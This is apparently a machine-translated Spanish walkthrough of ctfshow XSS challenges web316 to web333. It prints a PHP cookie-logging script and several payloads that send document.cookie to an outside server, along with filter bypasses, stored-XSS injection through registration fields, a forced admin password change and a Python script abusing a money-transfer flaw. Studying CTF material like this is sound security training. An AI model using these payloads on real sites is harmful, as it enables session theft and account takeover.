Puede ser un poco largo escribir, registre el proceso de hacer las preguntas usted mismo
Directorio de artículos
web316
El fondo visitará nuestro enlace de vez en cuando (generalmente 15 segundos) (después de todo, necesita 10 robots de huevo para mantener su estado de uso compartido), cuando el bot acceda a nuestro xss, podemos obtener la cookie del administrador.
Hay dos formas de obtenerlo, una es la plataforma xss en línea, como https://xsshs.cn/ , https://xss.pt/ , http://xsscom.com para generar enlaces xss
La otra es crearlo en su propio sitio web y escribir un fragmento de código php, como
# xss.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
En términos generales, el primer método es suficiente para nosotros, pero a veces solo podemos usar el segundo método. Por ejemplo, en la pregunta de evaluación final de ctfshow, debido a que la segunda máquina no puede salir de la red y no puede ser proxy, y la segunda máquina tiene XSS, en este caso, solo se puede usar el segundo método para obtener la cookie.
Aquí se usa https://xss.pt/xss.php , primero regístrese e inicie sesión en la página de inicio, luego haga clic en Crear
seleccione el módulo predeterminado
Obtenga muchos tipos de enlaces, use cualquiera para generar "Bendiciones", actualice el título después de la generación y luego regrese a la interfaz del proyecto
Por supuesto, una situación muy común es: no eres administrador sin bandera
No te asustes, esta situación es normal (es decir, X te ha alcanzado), solo hazlo unas cuantas veces más.
Es tan triste, me he estado enchufando más de una docena de veces
Loco, estoy sin palabras, puse mi servidor en él, lo puse (el código php de arriba) y escribo esta declaración
<script>document.location.href="http://ip/xss.php?cookie="+document.cookie</script>
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Por qué tuvo éxito una vez, no lo entiendo. .
web317
El payload de la pregunta anterior no puede pasar, porque está filtrado pero no sé qué filtrar. Es exitoso reemplazar el script con el cuerpo, lo que significa que el script está filtrado.
<body οnlοad="window.location.href='http://ip/xss.php?cookie='+document.cookie"></body>
web318
El payload de la pregunta anterior fue exitoso
web319
El payload de la pregunta anterior fue exitoso
web320
El payload de la pregunta anterior falló, no se que se filtró. Pruébelo aquí.
La primera prueba es eliminar el frente del href
Esto significa que el punto de filtro está en la parte delantera y el cuerpo no es un problema.
La segunda vez que elimino el frente de la ventana, también hay un eco, lo que indica que el punto de filtro está al frente.
No hay problema con la carga, no hay problema con el cuerpo, lo que indica que el problema radica en este espacio
Método de derivación:
PESTAÑA
/
/**/
<body/**/οnlοad="window.location.href='http://ip/xss.php?cookie='+document.cookie"></body>
web321
El payload de la pregunta anterior fue exitoso
web322
Mad es tan asqueroso, aquí necesitas cambiar el xss.php en el servidor a otro nombre, en resumen, los tres caracteres de xss no pueden aparecer
<body/**/οnlοad="window.location.href='http://ip/a.php?cookie='+document.cookie"></body>
web323
El payload de la pregunta anterior fue exitoso
web324
El payload de la pregunta anterior fue exitoso
web325
El payload de la pregunta anterior fue exitoso
web326
El payload de la pregunta anterior fue exitoso
web327
Cambió el tema, almacenó XSS
El destinatario debe ser administrador.
Luego prueba el contenido de la carta con 322payload
éxito
web328
Un inicio de sesión, administrador de cuenta, pruebe la carga útil sobre la contraseña
Falló, intente tanto la cuenta como la contraseña con la carga útil
todavía falló
Oye, hay un botón de registro en él, pruébalo.
No se puede registrar administrador, simplemente cambie otro nombre. Inicie sesión en la administración de usuarios, solo el administrador puede verlo
Debido a que solo el administrador puede ver la administración de usuarios, aquí hay una idea para decir si la carga útil se puede inyectar en la administración de usuarios y el administrador puede acceder a ella.
Registre una cuenta, la contraseña es la prueba de carga anterior
El resultado de la práctica no es
Pruébelo con <script> aquí, se debe tener en cuenta que se debe agregar un punto y coma al final
<script>window.location.href='http://ip/a.php?cookie='+document.cookie;</script>
Obtuve la cookie del administrador aquí, luego inicie sesión directamente con la cookie y pruébelo
Sin embargo, la interfaz de administración no se puede ver aquí, y esto es temporal, así que cambie directamente el almacenamiento
Luego actualice la interfaz y vea la bandera, pero la bandera parpadea y aquí solo hay captura de paquetes
web329
El método es el mismo que el anterior, puede obtener la cookie pero aún no puede acceder a la página
El motivo es que el administrador cierra la sesión después de visitar la página, lo que equivale a la última cookie obtenida por el administrador la última vez.
De ninguna manera aquí Aquí, vi que wp usa js
De esta manera, mira el video https://www.bilibili.com/video/BV1gi4y1A76p
<script>$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show')>-1){
window.location.href='http://ip/a.php?cookie='+value.innerHTML;
}
});</script>
La razón es que si escribimos ctfshow directamente, la primera consulta que contiene ctfshow seremos nosotros mismos.
…
Agregar un {, ctf+mostrar{
Recuerde abrir un nuevo rango cada vez que los datos estén contaminados
web330
Hay una opción para cambiar la contraseña, así que no permita que el administrador cambie su contraseña directamente
<script>window.location.href='http://127.0.0.1/api/change.php?p=admin';</script>
Simplemente registre una cuenta de carga útil
web331
La idea es la misma que la anterior, pero se cambia el método de get a post
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'2333'}});</script>
web332
9999 yuanes para comprar bandera, nueva cuenta registrada tiene 5 yuanes.
Luego descubrí que el dinero negativo lo puedo agregar yo mismo, si no, se reducirá, jajajaja
Simplemente transfiera -9999 al administrador
web333
Quería escribir un guión para la última pregunta, pero encontré un método simple, así que no lo escribí.
Escriba un guión aquí y regístrese para darme dinero loco
Después de escribir durante más de 20 minutos, he estado depurando y descubrí que no puedo iniciar sesión. . . No sé por qué woo woo
Después de leer el guión del Maestro Yu, puedo agregar dinero transfiriéndolo a mí mismo. Soy demasiado estúpido.
import requests
x=5
url="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/amount.php"
url2="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/getFlag.php"
headers={
'Cookie':'PHPSESSID=jkvcavn3fpfel2opl4afqdcepp'} #自己登录后的sessionid
while True:
print(x)
t=x-1
data={
'u':'mumuzi', #注册的用户名
'a':str(t)
}
r=requests.post(url,headers=headers,data=data)
print(r.text)
if(x>10000):
r2=requests.get(url2,headers=headers)
print(r2.text)
break
x+=t
En este punto, la parte XSS ha terminado.